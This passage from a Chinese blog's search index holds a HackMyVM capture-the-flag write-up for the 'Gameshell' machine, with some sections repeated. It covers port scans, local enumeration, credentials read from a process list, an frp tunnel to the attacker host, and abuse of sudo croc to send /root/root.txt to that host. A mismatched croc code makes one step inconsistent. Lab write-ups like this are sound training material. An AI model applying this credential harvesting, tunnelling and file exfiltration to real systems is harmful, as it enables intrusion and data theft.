https://nmap.org ) at 2026-04-28 08:13 -0400 Nmap scan report for 192.168.56.156 Host is up (0.00055s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 7681/tcp open unknown MAC Address: 08:00:27:53:73:92 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 23.16 seconds root@kali:/tmp/123# nmap 192.168.56.156 -p 22,80,7681 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-28 08:15 -0400 Nmap scan report for 192.168.56.156 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Bash // The Eternal Shell 7681/tcp open http ttyd 1.7.7-40e79c7 (libwebsockets 4.3.3-unknown) |_http-title: ttyd - Terminal |_http-server-header: ttyd/1.7.7-40e79c7 (libwebsockets/4.3.3-unknown) MAC Address: 08:00:27:53:73:92 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds 指纹信息识别： 22 : ssh service 80 : http service，apache/2.4.62 中间件，标题 ：Bash // The Eternal Shell 7681 : 基于HTTP的Web Terminal服务，版本：ttyd 1.7.7-40e79c7 ，标题：ttyd - Terminal 补充知识： ttyd 1.7.7-40e79c7 为 网页版终端工具，就是把linux 终端放到浏览器里面使用 ","date":"2026-04-29","heading":"端口扫描","objectID":"/p/gameshell/:1:1","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"目标主机开放端口服务分析 80 端口服务识别与分析 访问目录页面，页面的主要内容是关于shell发展史的，访问页面源码，没有发现任何隐藏信息，查看页面加载情况： 有两个响应包，第一个响应包为主响应包，第二个响应包为加载模板文件，分析第一个响应包的http响应头，没有发现任何突破性信息，对80端口进行目录枚举： root@kali:/tmp/123# dirsearch -u http://192.168.56.156:80/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /tmp/123/reports/http_192.168.56.156_80/__26-04-28_09-00-31.txt Target: http://192.168.56.156/ [09:00:31] Starting: [09:00:34] 403 - 279B - /.ht_wsr.txt [09:00:34] 403 - 279B - /.htaccess.bak1 [09:00:34] 403 - 279B - /.htaccess.orig [09:00:34] 403 - 279B - /.htaccess.sample [09:00:34] 403 - 279B - /.htaccess.save [09:00:34] 403 - 279B - /.htaccess_extra [09:00:34] 403 - 279B - /.htaccess_sc [09:00:34] 403 - 279B - /.htaccessBAK [09:00:34] 403 - 279B - /.htaccessOLD [09:00:34] 403 - 279B - /.htaccessOLD2 [09:00:34] 403 - 279B - /.htm [09:00:34] 403 - 279B - /.html [09:00:34] 403 - 279B - /.htpasswd_test [09:00:34] 403 - 279B - /.htpasswds [09:00:34] 403 - 279B - /.httr-oauth [09:00:35] 403 - 279B - /.htaccess_orig [09:00:36] 403 - 279B - /.php [09:01:45] 403 - 279B - /server-status/ [09:01:45] 403 - 279B - /server-status 没有扫到任何状态码为200的文件，我也换了较大一些的字典，依然没有扫出任何东西，80端口没有任何突破性进展，放弃对80端口的分析。 7681 端口服务识别与分析 7681 是 基于HTTP的Web Terminal服务： | | --+---------------------------------------------------+-- | Run the command | | $ gsh goal | | to discover your first mission. | | | | You can check the mission has been completed with | | $ gsh check | | | | The command | | $ gsh help | | displays the list of available (gsh) commands. | --+---------------------------------------------------+-- | | gsh goal: 探寻你的第一个任务 gsh check: 检查当前任务是否完成 gsh help: 呈现可用的gsh命令列表 [mission 1] $ gsh help ,-------------------------------------------------------------------------------------. (_\\ \\ | Commands specific to GameShell | | ============================== | | | | gsh check | | check whether the current mission's goal has been achieved or not | | | | gsh exit / Control-d | | quit GameShell | | (you can start from the current mission by running GameShell with the \"-C\" flag) | | | | gsh goal [N] | | show the current mission's goal | | if n is given, show the goal for mission N | | | | gsh help | | shorter help message | | | | gsh reset | | reset the current mission | _| | (_/_______________________________________________________________________________(*)___/ \\\\ )) ^ gsh goal [N]: 展示当前的任务，假如 n 被指定，展示第n个任务目标 gsh reset : 重置当前的任务 gsh exit : 退出GameShell [mission 1] $ gsh check exit goal help index log reset resetstatic stat version welcome Tab Tab 键，使得我们可以看到更多的命令 [mission 1] $ gsh index -\u003e 1 basic/01_cd_tower 2 basic/02_cd.._cellar 3 basic/03_cd_HOME_throne 4 basic/04_mkdir_chest 5 basic/05_rm_spiders_cellar 6 basic/06_mv_coins_garden 7 basic/07_mv_hidden_coins_garden 8 basic/08_rm_wildcard_spiders_cellar 9 basic/09_rm_wildcard_hidden_spiders_cellar 10 basic/10_cp_standard_great_hall 11 basic/11_cp_wildcards_tapestries_great_hall 12 basic/12_cp_ls_mtime_paintings_tower 13 misc/01_cal_nostradamus [optional] 14 intermediate/01_alias_la 15 misc/02_nano_journal 16 intermediate/02_alias_journal 17 intermediate/03_tab_spider_lair 18 intermediate/04_bg_xeyes [optional] 19 intermediate/05_background 20 intermediate/06_control-C 21 finding_files_maze/01_ls_cd 22 finding_files_maze/02_tree 23 finding_files_maze/03_find_1 24 pipe_intro_book_of_potions/01_head 25 pipe_intro_book_of_potions/02_tail 26 pipe_intro_book_of_potions/03_cat 27 pipe_intro_book_of_potions/04_pipe 28 pipe_intro_book_of_potions/05_pipe_head_tail 29 processes/01_ps_kill 30 processes/02_ps_kill_signal 31 processes/03_pstree_kill 32 stdin_stdout_stderr/01_stdin_additions 33 stdin_stdout_stderr/02_stdin_redirec","date":"2026-04-29","heading":"目标主机开放端口服务分析","objectID":"/p/gameshell/:1:2","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#目标主机开放端口服务分析"},{"categories":["靶机复盘"],"collections":null,"content":"目标主机开放端口服务分析 80 端口服务识别与分析 访问目录页面，页面的主要内容是关于shell发展史的，访问页面源码，没有发现任何隐藏信息，查看页面加载情况： 有两个响应包，第一个响应包为主响应包，第二个响应包为加载模板文件，分析第一个响应包的http响应头，没有发现任何突破性信息，对80端口进行目录枚举： root@kali:/tmp/123# dirsearch -u http://192.168.56.156:80/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /tmp/123/reports/http_192.168.56.156_80/__26-04-28_09-00-31.txt Target: http://192.168.56.156/ [09:00:31] Starting: [09:00:34] 403 - 279B - /.ht_wsr.txt [09:00:34] 403 - 279B - /.htaccess.bak1 [09:00:34] 403 - 279B - /.htaccess.orig [09:00:34] 403 - 279B - /.htaccess.sample [09:00:34] 403 - 279B - /.htaccess.save [09:00:34] 403 - 279B - /.htaccess_extra [09:00:34] 403 - 279B - /.htaccess_sc [09:00:34] 403 - 279B - /.htaccessBAK [09:00:34] 403 - 279B - /.htaccessOLD [09:00:34] 403 - 279B - /.htaccessOLD2 [09:00:34] 403 - 279B - /.htm [09:00:34] 403 - 279B - /.html [09:00:34] 403 - 279B - /.htpasswd_test [09:00:34] 403 - 279B - /.htpasswds [09:00:34] 403 - 279B - /.httr-oauth [09:00:35] 403 - 279B - /.htaccess_orig [09:00:36] 403 - 279B - /.php [09:01:45] 403 - 279B - /server-status/ [09:01:45] 403 - 279B - /server-status 没有扫到任何状态码为200的文件，我也换了较大一些的字典，依然没有扫出任何东西，80端口没有任何突破性进展，放弃对80端口的分析。 7681 端口服务识别与分析 7681 是 基于HTTP的Web Terminal服务： | | --+---------------------------------------------------+-- | Run the command | | $ gsh goal | | to discover your first mission. | | | | You can check the mission has been completed with | | $ gsh check | | | | The command | | $ gsh help | | displays the list of available (gsh) commands. | --+---------------------------------------------------+-- | | gsh goal: 探寻你的第一个任务 gsh check: 检查当前任务是否完成 gsh help: 呈现可用的gsh命令列表 [mission 1] $ gsh help ,-------------------------------------------------------------------------------------. (_\\ \\ | Commands specific to GameShell | | ============================== | | | | gsh check | | check whether the current mission's goal has been achieved or not | | | | gsh exit / Control-d | | quit GameShell | | (you can start from the current mission by running GameShell with the \"-C\" flag) | | | | gsh goal [N] | | show the current mission's goal | | if n is given, show the goal for mission N | | | | gsh help | | shorter help message | | | | gsh reset | | reset the current mission | _| | (_/_______________________________________________________________________________(*)___/ \\\\ )) ^ gsh goal [N]: 展示当前的任务，假如 n 被指定，展示第n个任务目标 gsh reset : 重置当前的任务 gsh exit : 退出GameShell [mission 1] $ gsh check exit goal help index log reset resetstatic stat version welcome Tab Tab 键，使得我们可以看到更多的命令 [mission 1] $ gsh index -\u003e 1 basic/01_cd_tower 2 basic/02_cd.._cellar 3 basic/03_cd_HOME_throne 4 basic/04_mkdir_chest 5 basic/05_rm_spiders_cellar 6 basic/06_mv_coins_garden 7 basic/07_mv_hidden_coins_garden 8 basic/08_rm_wildcard_spiders_cellar 9 basic/09_rm_wildcard_hidden_spiders_cellar 10 basic/10_cp_standard_great_hall 11 basic/11_cp_wildcards_tapestries_great_hall 12 basic/12_cp_ls_mtime_paintings_tower 13 misc/01_cal_nostradamus [optional] 14 intermediate/01_alias_la 15 misc/02_nano_journal 16 intermediate/02_alias_journal 17 intermediate/03_tab_spider_lair 18 intermediate/04_bg_xeyes [optional] 19 intermediate/05_background 20 intermediate/06_control-C 21 finding_files_maze/01_ls_cd 22 finding_files_maze/02_tree 23 finding_files_maze/03_find_1 24 pipe_intro_book_of_potions/01_head 25 pipe_intro_book_of_potions/02_tail 26 pipe_intro_book_of_potions/03_cat 27 pipe_intro_book_of_potions/04_pipe 28 pipe_intro_book_of_potions/05_pipe_head_tail 29 processes/01_ps_kill 30 processes/02_ps_kill_signal 31 processes/03_pstree_kill 32 stdin_stdout_stderr/01_stdin_additions 33 stdin_stdout_stderr/02_stdin_redirec","date":"2026-04-29","heading":"","objectID":"/p/gameshell/:1:2","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#80-端口服务识别与分析"},{"categories":["靶机复盘"],"collections":null,"content":"目标主机开放端口服务分析 80 端口服务识别与分析 访问目录页面，页面的主要内容是关于shell发展史的，访问页面源码，没有发现任何隐藏信息，查看页面加载情况： 有两个响应包，第一个响应包为主响应包，第二个响应包为加载模板文件，分析第一个响应包的http响应头，没有发现任何突破性信息，对80端口进行目录枚举： root@kali:/tmp/123# dirsearch -u http://192.168.56.156:80/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /tmp/123/reports/http_192.168.56.156_80/__26-04-28_09-00-31.txt Target: http://192.168.56.156/ [09:00:31] Starting: [09:00:34] 403 - 279B - /.ht_wsr.txt [09:00:34] 403 - 279B - /.htaccess.bak1 [09:00:34] 403 - 279B - /.htaccess.orig [09:00:34] 403 - 279B - /.htaccess.sample [09:00:34] 403 - 279B - /.htaccess.save [09:00:34] 403 - 279B - /.htaccess_extra [09:00:34] 403 - 279B - /.htaccess_sc [09:00:34] 403 - 279B - /.htaccessBAK [09:00:34] 403 - 279B - /.htaccessOLD [09:00:34] 403 - 279B - /.htaccessOLD2 [09:00:34] 403 - 279B - /.htm [09:00:34] 403 - 279B - /.html [09:00:34] 403 - 279B - /.htpasswd_test [09:00:34] 403 - 279B - /.htpasswds [09:00:34] 403 - 279B - /.httr-oauth [09:00:35] 403 - 279B - /.htaccess_orig [09:00:36] 403 - 279B - /.php [09:01:45] 403 - 279B - /server-status/ [09:01:45] 403 - 279B - /server-status 没有扫到任何状态码为200的文件，我也换了较大一些的字典，依然没有扫出任何东西，80端口没有任何突破性进展，放弃对80端口的分析。 7681 端口服务识别与分析 7681 是 基于HTTP的Web Terminal服务： | | --+---------------------------------------------------+-- | Run the command | | $ gsh goal | | to discover your first mission. | | | | You can check the mission has been completed with | | $ gsh check | | | | The command | | $ gsh help | | displays the list of available (gsh) commands. | --+---------------------------------------------------+-- | | gsh goal: 探寻你的第一个任务 gsh check: 检查当前任务是否完成 gsh help: 呈现可用的gsh命令列表 [mission 1] $ gsh help ,-------------------------------------------------------------------------------------. (_\\ \\ | Commands specific to GameShell | | ============================== | | | | gsh check | | check whether the current mission's goal has been achieved or not | | | | gsh exit / Control-d | | quit GameShell | | (you can start from the current mission by running GameShell with the \"-C\" flag) | | | | gsh goal [N] | | show the current mission's goal | | if n is given, show the goal for mission N | | | | gsh help | | shorter help message | | | | gsh reset | | reset the current mission | _| | (_/_______________________________________________________________________________(*)___/ \\\\ )) ^ gsh goal [N]: 展示当前的任务，假如 n 被指定，展示第n个任务目标 gsh reset : 重置当前的任务 gsh exit : 退出GameShell [mission 1] $ gsh check exit goal help index log reset resetstatic stat version welcome Tab Tab 键，使得我们可以看到更多的命令 [mission 1] $ gsh index -\u003e 1 basic/01_cd_tower 2 basic/02_cd.._cellar 3 basic/03_cd_HOME_throne 4 basic/04_mkdir_chest 5 basic/05_rm_spiders_cellar 6 basic/06_mv_coins_garden 7 basic/07_mv_hidden_coins_garden 8 basic/08_rm_wildcard_spiders_cellar 9 basic/09_rm_wildcard_hidden_spiders_cellar 10 basic/10_cp_standard_great_hall 11 basic/11_cp_wildcards_tapestries_great_hall 12 basic/12_cp_ls_mtime_paintings_tower 13 misc/01_cal_nostradamus [optional] 14 intermediate/01_alias_la 15 misc/02_nano_journal 16 intermediate/02_alias_journal 17 intermediate/03_tab_spider_lair 18 intermediate/04_bg_xeyes [optional] 19 intermediate/05_background 20 intermediate/06_control-C 21 finding_files_maze/01_ls_cd 22 finding_files_maze/02_tree 23 finding_files_maze/03_find_1 24 pipe_intro_book_of_potions/01_head 25 pipe_intro_book_of_potions/02_tail 26 pipe_intro_book_of_potions/03_cat 27 pipe_intro_book_of_potions/04_pipe 28 pipe_intro_book_of_potions/05_pipe_head_tail 29 processes/01_ps_kill 30 processes/02_ps_kill_signal 31 processes/03_pstree_kill 32 stdin_stdout_stderr/01_stdin_additions 33 stdin_stdout_stderr/02_stdin_redirec","date":"2026-04-29","heading":"","objectID":"/p/gameshell/:1:2","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#7681-端口服务识别与分析"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 root@kali:/tmp/123# ssh silo@192.168.56.156 -p 22 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \"store now, decrypt later\" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html silo@192.168.56.156's password: Linux GameShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Apr 28 04:57:13 2026 from 192.168.56.101 silo@GameShell:~$ ls -al total 16556 drwx------ 3 silo silo 4096 Apr 28 05:31 . drwxr-xr-x 4 root root 4096 Nov 17 11:21 .. lrwxrwxrwx 1 root root 9 Nov 17 11:25 .bash_history -\u003e /dev/null -rw-r--r-- 1 silo silo 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 silo silo 3526 Apr 18 2019 .bashrc -rwxr-xr-x 1 silo silo 16707768 Apr 28 05:31 frpc -rw-r--r-- 1 silo silo 210 Apr 28 05:31 frpc.toml -rw-r--r-- 1 silo silo 807 Apr 18 2019 .profile -rwxr-xr-x 1 silo silo 207872 Apr 28 05:14 ss drwxr-xr-x 2 silo silo 4096 Nov 18 08:53 .ssh -rw-r--r-- 1 root root 44 Nov 17 11:16 user.txt silo@GameShell:~$ cat user.txt flag{user-83add0ab24dcdb4f7a201772f1c10789} ","date":"2026-04-29","heading":"初始访问","objectID":"/p/gameshell/:2:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"silo 用户系统信息收集 从前面看到的/etc/passwd，可知有三个用户： root silo eviden 枚举拥有suid权位的文件： silo@GameShell:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount -rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su -rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 481608 Dec 21 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1 没有发现能用于提权的二进制文件。查看silo用户的sudo： silo@GameShell:~$ sudo -l [sudo] password for silo: Sorry, user silo may not run sudo on GameShell. 查看 capabilities 能力位： silo@GameShell:~$ /usr/sbin/getcap -r / 2\u003e/dev/null /usr/bin/ping = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep 没有能突破文件系统权限的能力位。查看系统正在监听的 TCP 端口 和 UDP 端口： silo@GameShell:~$ busybox netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:7681 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 :::22 :::* LISTEN udp 0 0 0.0.0.0:68 0.0.0.0:* 发现存在一个端口为9876的内网服务。 silo@GameShell:~$ ps -aux | grep eviden eviden 401 0.0 0.0 1564 1016 ? Ss 02:36 0:00 /usr/local/bin/ttyd -i 127.0.0.1 -p 9876 -c admin:nimda -W bash silo 661 0.0 0.0 6176 636 pts/0 S+ 03:01 0:00 grep eviden 查看进程，可以看出这是一个网页版的终端，用户名为admin，密码为nimda。 ","date":"2026-04-29","heading":"","objectID":"/p/gameshell/:3:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#silo-用户系统信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"内网穿透 上传frpc，frpc.toml 到 内网靶机上，上传frps，frps.toml 到 kali攻击靶机上。 frpc.toml 的 格式为： serverAddr = \"192.168.56.101\" serverPort = 7000 auth.method = \"token\" auth.token = \"ChangeMe_Strong_Token_123\" [[proxies]] name = \"tcp\" type = \"tcp\" localIP = \"127.0.0.1\" localPort = 9876 remotePort = 39666 frps.toml 的 格式为: bindAddr = \"0.0.0.0\" bindPort = 7000 auth.method = \"token\" auth.token = \"ChangeMe_Strong_Token_123\" allowPorts = [ { single = 39666 } ] 先运行frps，再运行frpc: root@kali:/tmp/123# ./frps -c frps.toml 2026-04-29 04:20:08.348 [I] [frps/root.go:115] frps uses config file: frps.toml 2026-04-29 04:20:08.476 [I] [server/service.go:246] frps tcp listen on 0.0.0.0:7000 2026-04-29 04:20:08.476 [I] [frps/root.go:124] frps started successfully # 这标明 frps 成功启动 kali终端 silo@GameShell:~$ ./frpc -c frpc.toml 2026-04-29 04:20:40.698 [I] [sub/root.go:201] start frpc service for config file [frpc.toml] with aggregated configuration 2026-04-29 04:20:40.707 [I] [client/service.go:378] try to connect to server... 2026-04-29 04:20:40.740 [I] [client/service.go:370] [1db339b68f3cb869] login to server success, get run id [1db339b68f3cb869] 2026-04-29 04:20:40.746 [I] [proxy/proxy_manager.go:180] [1db339b68f3cb869] proxy added: [tcp] 2026-04-29 04:20:40.774 [I] [client/control.go:176] [1db339b68f3cb869] [tcp] start proxy success # 这标明frpc 成功启动 并且已经把端口代理到 192.168.56.101:39666 上。 ","date":"2026-04-29","heading":"内网穿透","objectID":"/p/gameshell/:4:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#内网穿透"},{"categories":["靶机复盘"],"collections":null,"content":"eviden 系统信息收集 eviden@GameShell:/$ id uid=1001(eviden) gid=1001(eviden) groups=1001(eviden) eviden@GameShell:/$ sudo -l Matching Defaults entries for eviden on GameShell: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User eviden may run the following commands on GameShell: (ALL) NOPASSWD: /usr/local/bin/croc croc 用于在电脑之间轻松、安全的传输文件/文件夹的工具。 eviden@GameShell:/$ croc -h NAME: croc - easily and securely transfer stuff from one computer to another USAGE: croc [GLOBAL OPTIONS] [COMMAND] [COMMAND OPTIONS] [filename(s) or folder] USAGE EXAMPLES: Send a file: croc send file.txt -git to respect your .gitignore Send multiple files: croc send file1.txt file2.txt file3.txt or croc send *.jpg Send everything in a folder: croc send example-folder-name Send a file with a custom code: croc send --code secret-code file.txt Receive a file using code: croc secret-code VERSION: v10.2.7 COMMANDS: send send file(s), or folder (see options with croc send -h) relay start your own relay (optional) help, h Shows a list of commands or help for one command GLOBAL OPTIONS: --internal-dns use a built-in DNS stub resolver rather than the host operating system (default: false) --classic toggle between the classic mode (insecure due to local attack vector) and new mode (secure) (default: false) --remember save these settings to reuse next time (default: false) --debug toggle debug mode (default: false) --yes automatically agree to all prompts (default: false) --stdout redirect file to stdout (default: false) --no-compress disable compression (default: false) --ask make sure sender and recipient are prompted (default: false) --local force to use only local connections (default: false) --ignore-stdin ignore piped stdin (default: false) --overwrite do not prompt to overwrite or resume (default: false) --testing flag for testing purposes (default: false) --multicast value multicast address to use for local discovery (default: \"239.255.255.250\") --curve value choose an encryption curve (p521, p256, p384, siec, ed25519) (default: \"p256\") --ip value set sender ip if known e.g. 10.0.0.1:9009, [::1]:9009 --relay value address of the relay [$CROC_RELAY] --relay6 value ipv6 address of the relay [$CROC_RELAY6] --out value specify an output folder to receive the file (default: \".\") --pass value password for the relay (default: \"pass123\") [$CROC_PASS] --socks5 value add a socks5 proxy [$SOCKS5_PROXY] --connect value add a http proxy [$HTTP_PROXY] --throttleUpload value throttle the upload speed e.g. 500k --help, -h show help (default: false) --version, -v print the version (default: false) ","date":"2026-04-29","heading":"","objectID":"/p/gameshell/:5:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#eviden-系统信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 eviden@GameShell:/$ sudo croc -ip 192.168.56.101 send /root/root.txt Sending 'root.txt' (44 B) Code is: 6322-bandit-caramel-block On the other computer run: (For Windows) croc 6322-bandit-caramel-block (For Linux/macOS) CROC_SECRET=\"6322-bandit-caramel-block\" croc # 靶机 root@kali:~# croc 1287-miracle-forest-sahara Accept 'root.txt' (44 B)? (Y/n) y Receiving (\u003c-192.168.56.156:9009) root.txt 100% |████████████████████| (44/44 B, 961 B/s) # kali root@kali:~# cat root.txt flag{root-fcf32fac298a31661e06e3d37148a21a} ","date":"2026-04-29","heading":"权限提升","objectID":"/p/gameshell/:6:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 端口扫描发现：22、80、7681 三个端口，指纹识别：22 为 ssh service、80 为 http service 、7681 为 ttyd service。 80 端口 没有获取到任何信息，7681 部署了一个gameshell的服务，利用其中的一些逻辑漏洞获得了silo的ssh登陆凭证。 通过获取的silo用户进行系统信息枚举，发现存在一个内网服务，它也是一个网页版终端，它是以eviden用户身份运行的，用户名为admin，密码为nimda，通过内网穿透技术将其放到外网。 访问192.168.56.101:39666，以eviden用户身份进行信息的枚举，sudo -l，发现可以以root身份运行croc，通过croc下载/root/root.txt文件。 ","date":"2026-04-29","heading":"攻击链总结","objectID":"/p/gameshell/:7:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Hunter 的渗透测试与提权记录","date":"2026-04-26","objectID":"/p/hunter/","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-26","heading":"信息收集","objectID":"/p/hunter/:1:0","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 root@kali:~# nmap 192.168.56.104 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 01:03 -0400 Nmap scan report for 192.168.56.104 Host is up (0.0010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy MAC Address: 08:00:27:5E:55:41 (Oracle VirtualBox virtual NIC) root@kali:~# nmap 192.168.56.104 -p 22,8080 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 01:31 -0400 Nmap scan report for 192.168.56.104 Host is up (0.0015s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0 (protocol 2.0) 8080/tcp open http Golang net/http server |_http-open-proxy: Proxy might be redirecting requests | http-robots.txt: 1 disallowed entry |_/admin |_http-title: Site doesn't have a title (text/plain; charset=utf-8). | fingerprint-strings: | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 200 OK | Date: Sun, 26 Apr 2026 05:31:50 GMT | Content-Length: 21 | Content-Type: text/plain; charset=utf-8 | Yes, thats a CTF :_( | GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | OfficeScan: | HTTP/1.1 400 Bad Request: missing required Host header | Content-Type: text/plain; charset=utf-8 | Connection: close |_ Request: missing required Host header 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.98%I=7%D=4/26%Time=69EDA346%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,8A,\"HTTP/1\\.0\\x20200\\x20OK\\r\\nDate:\\x20Sun,\\x2026\\x20Apr\\x2020 SF:26\\x2005:31:50\\x20GMT\\r\\nContent-Length:\\x2021\\r\\nContent-Type:\\x20text SF:/plain;\\x20charset=utf-8\\r\\n\\r\\nYes,\\x20thats\\x20a\\x20CTF\\x20:_\\(\\n\")%r SF:(HTTPOptions,8A,\"HTTP/1\\.0\\x20200\\x20OK\\r\\nDate:\\x20Sun,\\x2026\\x20Apr\\x SF:202026\\x2005:31:50\\x20GMT\\r\\nContent-Length:\\x2021\\r\\nContent-Type:\\x20 SF:text/plain;\\x20charset=utf-8\\r\\n\\r\\nYes,\\x20thats\\x20a\\x20CTF\\x20:_\\(\\n SF:\")%r(RTSPRequest,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type SF::\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x2 SF:0Bad\\x20Request\")%r(FourOhFourRequest,8A,\"HTTP/1\\.0\\x20200\\x20OK\\r\\nDat SF:e:\\x20Sun,\\x2026\\x20Apr\\x202026\\x2005:31:50\\x20GMT\\r\\nContent-Length:\\x SF:2021\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\n\\r\\nYes,\\x20th SF:ats\\x20a\\x20CTF\\x20:_\\(\\n\")%r(Socks5,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Req SF:uest\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x2 SF:0close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(GenericLines,67,\"HTTP/1\\.1\\x204 SF:00\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r SF:\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(Help,67,\"HTTP/1 